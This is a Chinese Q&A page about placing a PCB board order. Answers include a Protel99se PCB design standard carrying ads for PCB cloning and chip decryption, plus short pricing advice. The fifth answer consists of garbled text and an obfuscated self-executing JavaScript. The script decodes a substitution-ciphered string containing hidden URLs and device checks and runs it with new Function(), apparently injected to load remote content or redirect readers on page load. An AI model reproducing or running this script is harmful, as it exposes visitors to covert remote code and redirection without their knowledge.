PCB板订单求教

2024-11-29 13:41:58
推荐回答(5个)
回答1:

pcb设计 pcb板设计 盛唐科技杂谈

PCB设计规范系列之一

1. 概述

建立PCB板设计、制作规范,深圳PCB抄板,可以统一设计风格,提高工作效率,避免出现不必要的重复工时浪费。

PCB设计的总则如下:

外观大方:器件选择合适,布局布线合理,尺寸比例协调,文字说明清晰。

电路可靠:良好的连线方式,合适的封装与焊盘尺寸,较强的电磁兼容能力。

接口友好:符合通常的操作习惯,向操作者提供意义明确的提示。

工艺良好:能为批量化生产提供良好的加工条件。

2. 说明

2.1 使用软件

此文档所涉及的软件为Protel99se SP6版。该软件主要包含4个模块:SCH、PCB、PLD、SIM模块,文档中的操作以PCB模块为准。

2.2 尺寸标准

此文档所涉及的尺寸均采用英制,以mil为单位。英制与公制的转换公式如下:

100 mil = 2.54 mm 即 4 mil ≈ 0.1mm

3. 电路元素

3.1 电路板(CircuitBoard)

电路板是安装电路元件的载体。按功能区分,可分为单面板、双面板、多层板等。按材质区分,可分为纸基板、环氧聚脂板。

除上述说明外,电路板的厚度也是制作时的主要选择参数,其厚度有0.5mm~2.0mm。一般情况下,邦定板、单面板选择较薄的尺寸,双面板、大面积板选择较厚的尺寸。

设计时,电路板需划分为不同的层。以双面板为例,可分为:

TopLayer(元件面层):电路板正面,可布信号线。

BottomLayer(焊接面层):电路板背面,可布信号线。

Top Overlayer(元件面丝印层):电路板正面的丝网印刷,可布元件标识符、说明文字。

Bottom Overlay(焊接面丝印层):电路板背面的丝网印刷,当仅单面放置元件时,此层可不用。

Mechanical1 Layer(机械尺寸层):标注尺寸,或设定电路板外观,或设置板上的安装孔。

Keepout Layer(禁止布线层):设置自动布线算法中不允许放置信号线的区域。

Multi Layer(钻孔层):设置焊盘、过孔的钻孔尺寸。

对于电路板的外形,应根据应用场合、安装尺寸作具体的分析与考虑。

一般应用时,可将电路板设计成具有黄金分割比的长方形,四角应具有按一定比例的圆弧。

3.2 导线(Track)

导线位于为信号层,即为信号线、电源线;导线位于其它层,即为设置线,用于设置布线范围、电路板外观等。

导线宽通常 ≥ 8mil;极限值 ≥ 5mil。线间距 通常 ≥ 8mil;极限值 ≥ 5mil。若布线条件允许,电源线、地线可在一定范围内(≤ 80mil)增加宽度。

设置线的宽度为 8mil。

3.3 焊盘(Pad)

焊盘用于承载元件管脚,用焊锡将元件与电路板连接在一起。

按常规应用区分,焊盘分为通孔(Multilayer)焊盘、表面(SMD)焊盘两种。

对于通孔焊盘,需要设置焊盘形状、尺寸、孔径。形状主要有圆形(Round)、方形(Rectangle)、八角形(Octagonal)三种,应根据实际元件的引脚形状选择。尺寸应保证留有足够的焊接空间,一般比孔径大20-40mil。孔径需比元件管脚的实际尺寸大4-8mil。

部分元件管脚尺寸参考:瓷片电容为16 mil;双列DIP集成电路为28 mil;直插排针为32mil;电解电容为32-36 mil;二极管IN4001为36 mil。注意:部分焊盘的孔并不能设置为圆形(例如:电源插座的管脚一般为长方形),需在图纸上加以标注,并在工艺文件中加以说明。

对于表面焊盘,需要设置焊盘形状、尺寸。形状应根据实际元件的管脚形状选择。尺寸应比实际焊盘尺寸大 4-12mil。此类焊盘的孔径为 0mil (即无孔)。注意:在表面焊盘的附近区域(< 12mil)内,不允许放置通孔焊盘或过孔,以防止在生产中进行回流焊时焊锡流失。

所有焊盘上不放置阻焊油墨。

3.4 过孔(Via)

过孔用于连接不同信号层之间的导线。过孔不能与焊盘混为一谈。

过孔需要设置过孔孔径、孔盘尺寸。通常的设置是:孔径≥ 12mil,孔盘尺寸≥孔径+16mil。

过孔的载流量越大,所需的孔径尺寸越大,如与电源线和地线相连接所用的过孔就要大一些。但过孔不宜设置过大,这将影响电路的外观。

过孔上允许放置阻焊油墨。

3.5 标注(Designator、Comment)

标注用于说明元件的型号、器件标号。

一般情况下,元件仅标注标号,而不标注型号。需特别标识的元件例外。

标注需要设置尺寸。通常的设置是:标注字符高度 40-60 mil,字符宽度6-10 mil。

标注的放置应排列整齐,便于查找。标注不得放置于焊盘上。标注也不能放置于无法视及的区域。

标注字符布置原则:不出歧义,见缝插针,美观大方。

3.6 文字(String)

文字标注于电路板上,提供给操作者一些辅助提示信息。

文字需要设置尺寸、字体。通常的设置是:标注字符高度 40-100 mil,字符宽度6-15 mil。

在同一电路板上,所有的文字均具有统一的风格。

文字的放置规则同标注,PCB抄板。

3.7 覆铜(Polygon)

覆铜位于信号层,在电气特性上有较强的抑制高频干扰的作用,也可改善加工工艺。覆铜可分为网格式覆铜(GridSize> TrackWidth)或实心式覆铜(GridSize = TrackWidth),应根据实际电路类型进行选择。通常选用实心式覆铜,高频电路选用网格式覆铜。

通常,设置覆铜的电气网格尺寸≥ 20mil,覆铜与导线、焊盘、过孔的电气间距≥ 20mil。覆铜与同一网络内的过孔按直连方式(DirectConnect)连接,与焊盘按十字花盘方式(ReliefConnect)连接。

覆铜可设置为特定的形状。

3.8 安装孔

安装孔设定电路板的安装位置、方式。安装孔由绘制于机械尺寸层的圆所决定。

安装孔的直径与机械尺寸应能匹配。一般可设置为128mil(安装螺丝3.0mm)、148mil(一般推荐)、168mil(安装螺丝4.0mm)。

安装孔距离电路板的边距保持一致。一般可设置:安装孔圆心距电路板边距为200mil、 240mil。

安装孔不需作搪锡处理(非金属化)。

3.9 其他(Others)

针对具体的电路设计,可采用内电层分割、补泪滴(Teardrops)等功能,提高电路的整体性能。

特殊应用的场合,可在阻焊层(TopSolderLayer、BottomSolderLayer)、阻焊层(TopPasteLayer、BottomPasteLayer)放置实心的图形区域(导线Track、填充Fill、圆弧Arc等),建立助焊区与阻焊区。

根据要求,可在电路板上增加中文文字、公司?记。

4. 设计规范

4.1 关于原理图

原理图应整齐、紧?、美观,原理正确,连线清晰,层次分明。

原理图可绘制为单张图纸或层次式图纸。

4.2 电路板设计前的准备

确定所使用的各种元件封装。有必要的话,制作特殊元件的封装库。

确认电路的功能,对单元电路可在实验板上用模拟运行方式验证。

确定电路板的合理尺寸。

电路板设计直接影响着应用系统的抗干扰能力。在设计电路板前,应认真考虑控制噪声源、减小噪声传播与耦合、减小噪声吸收等方面的思路。

4.3 布局

将电路板合理分区,通常可按以下分区:电源区、模拟电路区、数字电路区、功率驱动区、用户接口区。各个区按各自的电气特性放置元件,不可交叉放置元件。

布局原则:元件排列美观,并使各元件之间的导线尽可能短。

对于特殊的元件,放置规则如下:

连接件应放置于电路板的四周。

时钟器件应尽量靠近使用该时钟器件的元件。

噪声元件与非噪声元件的间隔要远。

I/O驱动器件、功率放大器件尽量靠近电路板的四周,并靠近其所引出的接插件。

每个集成电路旁应放置一个104pF去耦电容,去耦电容尽可能靠近集成电路,引线应短而粗,PCB返原理图。

合理放置电源的去耦电容。当电路板尺寸较大时,可在适当位置增加电源的去耦电容。

4.4 布线

采用手工布线的方法,部分电路辅以自动布线。

信号线宽度合理,排列匀称,并尽可能减少过孔。信号线越短、越粗,信号传输就越好。

特别注意电源线、地线的放置。电源线、地线要尽量粗。若电路板上具有模拟电路区、数字电路区、功率驱动区,应使用单点接电源、单点接地原则。注意:模拟电路的地线不能布成环路。

时钟振荡电路、特殊高速逻辑电路部分用地线包围。

石英晶体振荡器外壳接地线,时钟线要尽量短。

石英晶体振荡器、噪声敏感器件下要布大面积覆铜,不应穿过其它信号线。

时钟线垂直于信号线比平行于信号线,所受干扰小;允许时,时钟线要远离信号线。

使用45°的折线布线,不要使用90°折线,这可以减小高频信号的发射。

4.5 元件封装

所有元件的封装,均需经过验证,才能放置于电路板上。选取元件时,优先考虑采用表面安装元件。分立元件的封装形式应采用公司现有的标准封装库;表面安装元件的封装形式应采用生产厂家提供的封装库。当新增元件时,应及时加入公司的元件封装库中,并在修改记录中说明。

4.6 连接件

选择合理的连接件,将有助于改善电路板的布局,使电路整体更美观。

采用国际标准的连接件,注意选择合适的外观尺寸、引脚间距(100mil、80mil、50mil)。

连接件附近标注清晰的文字,说明该连接件的功能。

连接件的放置应参考人们的使用习惯。连接件可统一安放于电路板的四周,方便操作。

4.7 用户接口

用户接口应放置于指定的区域,并符合通常的操作习惯。

用户接口的设置同连接件。

4.8 EMI

注意各类元件的分布,元件电源线、地线、信号线的排列方式,尽可能降低所设计电路的EMI,提高应用系统抗干扰的能力。

5. 应用技巧

5.1 焊盘与覆铜的连接

在大面积覆铜时,对应网络的元件管脚与该覆铜相连接,其管脚连接方式的处理需要综合考虑。从电气性能方面考虑,管脚与覆铜直接连接(DirectConnect)为好,但对元件的焊接就会存在一些不良隐患,如:焊接功率加大、容易造成虚焊等。因此,需兼顾电气性能与工艺需要,做成十字花焊盘(ReliefConnect)连接。这样,可提高工艺处理的可靠性。多层板中,管脚与覆铜、内电层的连接与此处理方法相同。

5.2 覆铜的设置

设置覆铜时,注意电气网格(GridSize)与线宽(TrackWidth)的尺寸设置。覆铜布线是依据该参数决定的。尺寸过小,通路虽然有所增加,但造成图形的数据量过大,文件的存贮空间也相应增加,对计算机造成的负担也重;尺寸过大,通路则会减少,对覆铜的外观会有影响。所以,需要设置一个合理的尺寸。标准元器件两腿之间的距离为 100mil,所以,该尺寸一般设置为10mil的整数倍,如:10mil、20mil、50mil等。另外,长度(Length)的设置也可参考以上参数。

5.3 多块电路板绘制于同一文件中

当多块不同的板绘制在一个文件中,并希望分割交货时,需要在机械尺寸层(Mechanical1 Layer)为每块电路板画一个边框,各电路板间留100mil的间距。

6. 设计检查

电路设计完成后,需认真检查电路板的设计是否符合规则、是否符合生产工艺的需求。一般来说,检查有如下几个方面:

原理图、PCB图是否完全一致?

导线、焊盘、过孔的尺寸是否合理,是否满足生产要求?

导线、焊盘、过孔、覆铜、填充之间的距离是否合理,是否满足生产要求?

电源线、地线的宽度是否合适,是否具有较低的的阻抗?地线是否具有加宽的可能?

信号线是否采取了最佳措施,如长度最短、加保护线等,输入线及输出线是否经过处理?

导线形状是否理想,有没有需要修改的导线?

模拟电路和数字电路部分是否有各自独立的地线?

文字、标注是否大小合适,排列合理?

工艺标注、阻焊标注、助焊标注是否合理,符合工艺要求和使用习惯?

多层板中的电源层、地线层设置是否合理?

温馨提示:国内最具开发实力PCB抄板,芯片解密之典范企业—盛唐科技.

回答2:

不知道你要做什么样的产品,2万多确实是小单子,很多工厂都不愿意接的,再就是你们老板就想低价格,低价格的东西很难做出高质量的产品,还要做无铅工艺,好像很难吧。也难怪那么多厂不愿意搞,这样的单子做完很难有什么利润的!做生意合作共赢,不能够老想着节省自己的成本,别人没有利润为什么会给你做,就算给你做了,又怎么能够保障你的产品质量呢!所谓的便宜都是相对而言吧,其实你自己最好心中有个数,核算一个价格,适当加上一些利润,如果报价和你想象的差不多就可以做了,太低的,太高的就不要做了,太低的肯定有猫腻,太高的,你就亏了!
真怀疑你们是不是做电子产品的公司,居然对相关的工艺都不熟悉!
要是方便的话,你给我看看图纸,我再给你些建议!

回答3:

哥们:无铅工艺是发往国外的,在海关检查的时候要用!其实与有铅的一样。看不看不出来。检测能检测出来!要是双面板的价格还是有点贵!要是单面板的话就便宜了!

回答4:

请说明,板材用FR—4还是CEM-3或其他,我可以帮你做PCB到SMT我公司就专业做的。
现四川

回答5:

玌主遥

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();